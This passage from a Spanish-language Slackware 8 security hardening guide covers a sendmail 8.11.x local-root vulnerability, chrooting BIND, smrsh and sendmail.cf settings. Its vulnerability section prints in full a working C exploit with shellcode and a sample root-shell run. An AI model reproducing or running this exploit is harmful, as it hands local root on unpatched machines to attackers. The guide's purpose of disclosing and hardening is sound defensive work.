_ . . / | _ |_ | | | | | | |_|. / / |\/| |_| _|.|_ |_||\/| / |_ |_| _| \/ - - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - - | | If there is anything below the next line someone is not following the rules. --zen-parse ************************************END*****************************/ -- cut here -- 3.6.- Vulnerabilidad en sendmail de Slackware --------------------------------------------- Existe una vulnerabilidad en la función de debugging de sendmail de las versiones 8.11.0 hasta 8.11.5 que permite obtener privilegios de root siendo usuario local. Slackware 8 viene con sendmail 8.11.4 y por lo tanto es vulnerable. Están disponibles los paquetes de sendmail 8.11.6 que corrige el fallo y de procmail 3.21 para las versiones 8 y 7.1 de Slackware: ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/sendmail.tgz ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/smailcfg.tgz ftp.slackware.com/pub/slackware/slackware-8.0/patches/packages/procmail.tgz ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/sendmail.tgz ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/smailcfg.tgz ftp.slackware.com/pub/slackware/slackware-7.1/patches/packages/procmail.tgz Exploit incluido: --- cut here (sx.c) -- /* sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This code exploits well-known local-root bug in sendmail 8.11.x, 8.12.x may be vulnerable too, but I didn't test it. It gives instant root shell with +s sendmail 8.11.x, x < 6 We're using objdump, gdb & grep in order to obtain VECT, so make sure that they're on $PATH, works with 80% accuracy on stripped binaries on several distros without changing offsets (rh7.0, rh7.1, suse7.2, slackware 8.0...) Greetz: mlg & smoke : diz is mostly for .ro ppl ;) killall sl3 sorcerer : stop da fuckin' asking me how to sploit sm, diz crap is for lamers like you ;)))) devik : sm 0wns ;) to #linux.cz, #hack .... .... and to alot of other ppl, where i can't remeber theyr handles ;) args: -d specify depth of analysis (default=32) [bigger = more time] -o change offset (default = -32000) [between 1000..-64000] -v specify victim (default /usr/sbin/sendmail) [+s sm binary] -t specify temp directory (default /tmp/.sxp) [temporary files, should be mounted as nosuid] An example (redhat 7.0 CZ): ------------------------------------------------------------------------------- [sd@pikatchu sxp]$ gcc sx.c -o sx [sd@localhost sxp]$ ./sx ...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [*] Victim = /usr/sbin/sendmail [*] Depth = 32 [*] Offset = -16384 [*] Temp = /tmp/.sxp [*] ESP = 0xbfffe708 [+] Created /tmp/.sxp [+] Step 1. setuid() got = 0x080aa028 [*] Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK [*] Step 3. Disassembling /tmp/.sxp/sm...OK, found 3 targets [*] Step 4. Exploiting 3 targets: [1] (33% of targets) GOT=0x080aa028, VECT=0x00000064, offset=-16384 [2] (66% of targets) GOT=0x080aa028, VECT=0x080c6260, offset=-16384 Voila babe, entering rootshell! Enjoy! uid=0(root) gid=0(root) groups=0(root) [root@pikatchu /]# whoami root [root@pikatchu /]# exit exit Thanx for choosing sd's products ;) [sd@pikatchu sxp]$ -------------------------------------------------------------------------------- Enjoy! And don't abuse it too much :) */ #include #include #include #include #include #include #include #include #include #define SM "/usr/sbin/sendmail" #define OBJDUMP "objdump" #define GDB "gdb" #define GREP "grep" #define OURDIR "/tmp/.sxp" /* an basic regexp to get interesting stuff from disassembled output change it as you like if something doesn't work */ #define DLINE "%s -d %s 2> /dev/null | %s -B %d \"mov.*%%.l,(%%e..,%%e..,1)\" | %s \".mov .*0x80.*,%%e..\"" #define DLINEA OBJDUMP, vict, GREP, depth, GREP #define BRUTE_DLINE "%s -d %s 2> /dev/null | %s \".mov .*0x80.*,%%e..\"" #define BRUTE_DLINEA OBJDUMP, vict, GREP #define NOPLEN 32768 #define uchar unsigned char #define NOP 0x90 /* 19 bytes ;), shell must be appended */ char shellcode[] = "\xeb\x0c\x5b\x31\xc0\x50\x89\xe1" "\x89\xe2\xb0\x0b\xcd\x80\xe8\xef" "\xff\xff\xff"; char scode[512]; char dvict[] = SM; struct target { uint off; uint brk; uint vect; }; unsigned int get_esp() { __asm__("movl %esp,%eax"); } char ourdir[256] = OURDIR; /* cleanup */ void giveup(int i) { char buf[256]; sprintf(buf, "/bin/rm -rf %s > /dev/null 2> /dev/null", ourdir); system(buf); if (i >= 0) exit(i); } /* main sploit, stolen mostly from alsou.c ;) */ void sploit(char *victim, uint got, uint vect, uint ret) { uchar egg[sizeof(scode) + NOPLEN + 5]; char s[512] = "-d"; char *argv[3]; char *envp[2]; uint first, last, i; strcpy(egg, "EGG="); memset(egg + 4, NOP, NOPLEN); strcpy(egg + 4 + NOPLEN, scode); last = first = -vect - (0xffffffff - got + 1); while (ret) { char tmp[256]; i = ret & 0xff; sprintf(tmp, "%u-%u.%u-", first, last, i); strcat(s, tmp); last = ++first; ret = ret >> 8; } s[strlen(s) - 1] = 0; argv[0] = victim; argv[1] = s; argv[2] = NULL; envp[0] = egg; envp[1] = NULL; execve(victim, argv, envp); } int use(char *s) { printf("%s [command] [options]\n" "-h this help\n" "-d specify depth of analysis (default=32)\n" "-o change offset (default = -32000)\n" "-v specify victim (default /usr/sbin/sendmail)\n" "-t specify temp directory (default /tmp/.sxp)\n" "-b enables bruteforce (WARNING: this may take about 20-30 minutes!)\n", s); return 1; } /* exploited flag */ int exploited = 0; /* child root-shell will send us SIGUSR if everything is ok */ void sigusr(int i) { exploited++; giveup(-1); } int main(int argc, char *argv[]) { char victim[256] = SM; char vict[256]; char gscr[256]; char path[256]; char d[256]; struct stat st; FILE *f; char buf[256]; int got; struct target t[1024]; uint off, ep, l; int i,j; int offset = -16384; int esp; int depth = 32; int brute = 0; /* rootshell (if argv[0] == NULL) */ if (!*argv) { /* open stdin and stdout */ dup2(2, 0); dup2(2, 1); setuid(0); /* regain root privs */ setgid(0); /* send signal to parent that exploit is done */ kill(getppid(), SIGUSR1); /* l-a-m-e ;) */ printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout); chdir("/"); system("/usr/bin/id"); setenv("BASH_HISTORY", "/dev/null", 1); execl("/bin/bash", "-bash", NULL); } printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...\n" " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n"); while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) { switch (i) { case 'd': if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1)) return use(argv[0]); break; case 'o': if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1)) return use(argv[0]); break; case 'v': if (!optarg) return use(argv[0]); strcpy(victim, optarg); break; case 't': if (!optarg) return use(argv[0]); strcpy(ourdir, optarg); break; case 'b': brute++; break; case 'h': default: return use(argv[0]); } } if (brute) printf("[*] Using brute force, this may take some time\n"); /* create full path to rootshell, cause sendmail will change it's cwd */ path[0] = 0; if (argv[0][0] != '/') { getcwd(path, 256); } /* construct shellcode */ sprintf(scode, "%s%s/%s", shellcode, path, argv[0]); /* get stack frame */ esp = get_esp(); close(0); signal(SIGUSR1, sigusr); /* remove old stuff */ giveup(-1); printf( "[*] Victim = %s\n" "[*] Depth = %d\n" "[*] Offset = %d\n" "[*] Temp = %s\n" "[*] ESP = 0x%08x\n", victim, depth, offset, ourdir, esp); stat(victim, &st); if ((st.st_mode & S_ISUID) == 0) { printf("[-] Bad: %s isn't suid ;(\n", victim); } if (access(victim, R_OK + X_OK + F_OK) < 0) { printf("[-] Bad: We haven't access to %s !\n", victim); } if (mkdir(ourdir, 0777) < 0) { perror("[-] Can't create our tempdir!\n"); giveup(1); } printf("[+] Created %s\n", ourdir); sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim); f = popen(buf, "r"); if (fscanf(f, "%x", &got) != 1) { pclose(f); printf("[-] Cannot get setuid() GOT\n"); giveup(1); } /* get GOT */ pclose(f); printf("[+] Step 1. setuid() got = 0x%08x\n", got); sprintf(vict, "%s/sm", ourdir); printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout); sprintf(buf, "/bin/cp -f %s %s", victim, vict); system(buf); if (access(vict, R_OK + X_OK + F_OK) < 0) { perror("Failed"); giveup(1); } printf("OK\n"); /* disassemble & find targets*/ printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout); if (!brute) { sprintf(buf, DLINE, DLINEA); } else { sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA); } f = popen(buf, "r"); i = 0; while (fgets(buf, 256, f)) { int k, dontadd = 0; if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n", &ep, d, d, d, d, d, d, &off, d) == 9) { /* same value ? */ for (k=0; k < i; k++) { if (t[k].off == off) dontadd++; } /* new value ? */ if (!dontadd) { /* add it to table */ t[i].off = off; t[i++].brk = ep; } } } pclose(f); printf("OK, found %d targets\n", i); /* gdb every target and look for theyr VECT */ printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout); sprintf(gscr, "%s/gdb", ourdir); off = 0; for (j=0; j < i; j++) { /* create gdb script */ f = fopen(gscr, "w+"); if (!f) { printf("Cannot create gdb script\n"); giveup(1); } fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off); fclose(f); sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict); f = popen(buf, "r"); if (!f) { printf("Failed to spawn gdb!\n"); giveup(1); } /* scan gdb's output */ while (1) { char buf[256]; char *p; t[j].vect = 0; p = fgets(buf, 256, f); if (!p) break; if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) { t[j].vect = l; off++; break; } } pclose(f); if (t[j].vect) { int pid; printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset); fflush(stdout); pid = fork(); if (pid == 0) { close(1); sploit(victim, got, t[j].vect, esp + offset); } /* wait until sendmail finishes (expoit failed) or until SIGUSR arrives */ wait(NULL); /* exploited ?? */ if (exploited) { wait(NULL); /* kill zombie */ printf("Thanx for choosing sd's products ;)\n"); exit(0); } } } printf("[-] All targets failed, probably not vulnerable ;(\n"); giveup(1); } /* That's all. */ --- cut here --- 4.- Montar BIND chrooted y setuid ================================= La versión 9 de BIND que viene con Slackware, permite la ejecución de BIND en un entorno chrooted, es decir "enjaulado" en un directorio. Si apareciera algún fallo en el BIND por el cual se pudiera conseguir acceso remoto a una maquina, restringiriamos el acceso sólo al arbol de directorios donde se está ejecutando BIND. Ademas de esto también podemos ejecutarlo setuid, para que en lugar de ejecutarse con permisos de root lo haga como otro usuario con menos privilegios. Aquí veremos cómo montar esta configuración de forma sencilla en una Slackware 8. Por supuesto, tenemos que tener instalado el paquete n1/bind.tgz. Los pasos que seguiremos ssn los siguientes: 1.-Creamos la jaula Encerraremos el BIND dentro del directorio /var/named, creamos la estructura de directorios necesaria y el dispositivo /dev/null, del cual BIND hace uso: root@s0:~# cd /var/named root@s0:/var/named# mkdir -p bin dev etc lib var/run/named var/named/caching-example root@s0:/var/named# cd caching-example/ root@s0:/var/named/caching-example# cp -R * /var/named/var/named/caching-example/ root@s0:/var/named/caching-example# cd .. root@s0:/var/named# mknod dev/null c 1 3 2.-Buscamos que necesita BIND para funcionar Al estar linkado dinamicamente, el BIND de slackware depende de varias librerias dinámicas, que se encuentran en otros paquetes, y que tendran que ser accesibles para BIND dentro de la jaula. Ejecutando el siguiente comando almacenaremos los paquetes de Slackware que hacen falta para que funcione BIND dentro de la variable de entorno PAQUETES, que usaremos posteriormente: root@s0:/var/named# PAQUETES=`for f in `ldd /usr/sbin/named |cut -f 1 -d = |cut -f 3 -d / |cut -f 1,2 -d .`; do grep $f /var/log/packages/*; done |cut -f 5 -d / |cut -f 1 -d : |sort -u` Si queremos ver de que paquetes depende podemos hacer un echo $PAQUETES. 3.-Instalamos los paquetes necesarios dentro de la jaula Necesitamos disponer de los paquetes de Slackware en algún directorio del sistema para poder copiarlos dentro de la jaula, suponiendo que tengamos montado el cd con la Slackware 8 en /cdrom, ejecutarmamos el siguiente comando para obtener las rutas de los paquetes: root@s0:/var/named# RUTAS=`for f in $PAQUETES; do find /cdrom -name $f.tgz ; done` Si los tenemos en otro directorio (montados por NFS por ejemplo) cambiaremos /cdrom por la ruta donde tengamos los paquetes. Una vez tengamos localizadas las rutas, vamos a copiar los paquetes dentro de la jaula: root@s0:/var/named# for f in $RUTAS; do cp $f . ; done Ahora descomprimimos los paquetes que hemos copiado: root@s0:/var/named# for f in `ls *.tgz`; do explodepkg $f; done root@s0:/var/named# rm *.tgz 4.-Adaptamos la jaula para que BIND pueda escribir como usuario no privilegiado En lugar de ejecutar BIND con uid de root como se ejecuta por defecto, haremos que se ejecute con uid de usuario daemon, para esto tendremos que cambiar los permisos de algunos directorios en los que BIND necesita escribir: root@s0:/var/named# chown -R daemon:daemon var/named/ root@s0:/var/named# chown -R daemon:daemon var/run/named/ (NOTA: Estamos situados dentro de la jaula!) 5.-Ejecutamos BIND chrooted y setuid Lanzamos BIND de la siguiente forma para que se ejecute encerrado dentro de la jaula, y con uid de daemon: root@s0:/var/named# /usr/sbin/named -u daemon -t /var/named/ Dentro de la jaula tendremos también muchos ficheros innecesarios, pertenecientes a los otros paquetes que hemos instalado y que no están enlazados con BIND, como por ejemplo las paginas man o la documentacisn en /usr/doc, los podemos eliminar para ahorrar espacio. Si queremos que el BIND arranque chrooted cuando reiniciemos la maquina, tendremos que cambiar el fichero /etc/rc.d/rc.inet2 y lanzar el BIND con los mismos parametros anterirores. 5.- Sendmail ============ 5.1- SMRSH: Restricted Shell for Sendmail ----------------------------------------- Si vamos a usar sendmail en nuestra máquina es conveniente que hagamos uso de smrsh. Con smrsh conseguimos limitar el número de programas que podrán ser ejecutados a través de sendmail usando la función "|program", y no permite la ejecución de comandos que contengan los carácteres ` < > ; $ ( ) \r (retorno de carro), ó \n (nueva linea) para prevenir contra ataques del tipo "end run" a través de nuestro sendmail. Para configurar smrsh sólo tendremos que añadir una nueva 'feature' al fichero mc que utilicemos para generar nuestro sendmail.cf: FEATURE(`smrsh')dnl Una vez añadido esto al fichero mc, volvemos a generar el cf con m4 y ya tenemos un sendmail que utiliza smrsh para ejecutar programas externos. Ahora hace falta definir que programas son los que se podrán utilizar a través de sendmail. Para ello debemos poner los comandos que queramos dentro del directorio /usr/adm/sm.bin. Basta con hacer un link simbólico a cada programa en cuestión. Si por ejemplo queremos que se pueda usar el comando "vacation" o "procmail" en combinación con sendmail, haremos lo siguiente: # ln -s /usr/bin/vacation /usr/adm/sm.bin/vacation # ln -s /usr/bin/procmail /usr/adm/sm.bin/procmail y así con cada programa que deseemos incluir en el directorio restringido. Para más información: man 8 smrsh. 5.2- Ajustes de configuración ----------------------------- Una vez generado el nuevo sendmail.cf es conveniente hacerle unas pequeñas modificaciones para hacerlo un poco más seguro. Paso a listarlas a continuación: # maximum message size < #O MaxMessageSize=1000000 > O MaxMessageSize=1000000 # checkpoint queue runs after every N successful deliveries < #O CheckpointInterval=10 > O CheckpointInterval=10 # maximum hop count < #O MaxHopCount=17 > O MaxHopCount=27 # SMTP daemon options < O DaemonPortOptions=Name=MTA < O DaemonPortOptions=Port=587, Name=MSA, M=E > #O DaemonPortOptions=Name=MTA > #O DaemonPortOptions=Port=587, Name=MSA, M=E # privacy flags < O PrivacyOptions=authwarnings > #O PrivacyOptions=authwarnings noexpn novrfy > O PrivacyOptions=goaway # timeouts (many of these) < #O Timeout.initial=5m < #O Timeout.connect=5m < #O Timeout.iconnect=5m < #O Timeout.helo=5m < #O Timeout.mail=10m < #O Timeout.rcpt=1h < #O Timeout.datainit=5m < #O Timeout.datablock=1h < #O Timeout.datafinal=1h < #O Timeout.rset=5m < #O Timeout.quit=2m < #O Timeout.misc=2m < #O Timeout.command=1h < #O Timeout.ident=5s < #O Timeout.fileopen=60s < #O Timeout.control=2m < #O Timeout.queuereturn.normal=5d < #O Timeout.queuereturn.urgent=2d < #O Timeout.queuereturn.non-urgent=7d < #O Timeout.queuewarn.normal=4h < #O Timeout.queuewarn.urgent=1h < #O Timeout.queuewarn.non-urgent=12h < #O Timeout.hoststatus=30m < #O Timeout.resolver.retrans=5s < #O Timeout.resolver.retrans.first=5s < #O Timeout.resolver.retrans.normal=5s < #O Timeout.resolver.retry=4 < #O Timeout.resolver.retry.first=4 < #O Timeout.resolver.retry.normal=4 > O Timeout.initial=5m > O Timeout.connect=5m > O Timeout.iconnect=5m > O Timeout.helo=5m > O Timeout.mail=10m > O Timeout.rcpt=1h > O Timeout.datainit=5m > O Timeout.datablock=1h > O Timeout.datafinal=1h > O Timeout.rset=5m > O Timeout.quit=2m > O Timeout.misc=2m > O Timeout.command=1h > O Timeout.ident=5s > O Timeout.fileopen=60s > O Timeout.control=2m > O Timeout.queuereturn.normal=5d > O Timeout.queuereturn.urgent=2d > O Timeout.queuereturn.non-urgent=7d > O Timeout.queuewarn.normal=4h > O Timeout.queuewarn.urgent=1h > O Timeout.queuewarn.non-urgent=12h > O Timeout.hoststatus=30m > O Timeout.resolver.retrans=5s > O Timeout.resolver.retrans.first=5s > O Timeout.resolver.retrans.normal=5s > O Timeout.resolver.retry=4 > O Timeout.resolver.retry.first=4 > O Timeout.resolver.retry.normal=4 # load average at which we just queue messages < #O QueueLA=8 > O QueueLA=8 # load average at which we refuse connections < #O RefuseLA=12 > O RefuseLA=12 # maximum number of children we allow at one time < #O MaxDaemonChildren=12 > O MaxDaemonChildren=12 # maximum number of new connections per second < #O ConnectionRateThrottle=0 > O ConnectionRateThrottle=3 # work recipient factor < #O RecipientFactor=30000 > O RecipientFactor=30000 # how many jobs can you process in the queue? < #O MaxQueueRunSize=10000 > O MaxQueueRunSize=10000 # SMTP initial login message (old $e macro) < O SmtpGreetingMessage=$j Sendmail $v/$Z; $b > O SmtpGreetingMessage=$j # maximum number of recipients per SMTP envelope < #O MaxRecipientsPerMessage=100 > O MaxRecipientsPerMessage=100 # Maximum depth of alias recursion < #O MaxAliasRecursion=10 > O MaxAliasRecursion=10 # Format of headers # < $.by $j ($v/$Z)$?r with $r$. id $i$?{tls_version} > $.by $j with id $i$?{tls_version} n-1.- Otros documentos ====================== Otros recursos y documentos útiles sobre securización de Slackware los podeis encontrar en las siguientes direcciones: Slackware System Hardening - by Jeffrey Denton ------------------------------------------------ http://www.c2i2.com/~dentonj/system-hardening Slackware 8.0 lockdown notes - by Hank Leininger -------------------------------------------------- http://www.theaimsgroup.com/~hlein/haqs/slack8_postinstall_hap Security Tips ------------- http://www.userlocal.com/securitytips.shtml Slackware Administrators Security tool kit ------------------------------------------ http://www.sastk.org/ n.- Licencia ============ Se permite la distribución de este documento siempre y cuando no se altere el contenido del mismo bajo ningún concepto. Si deseas aportar algúna cosa o hacer algún comentario ponte en contacto con el autor: Pau Oliva Fora (aka pof) - http://pof.eSlack.org EOF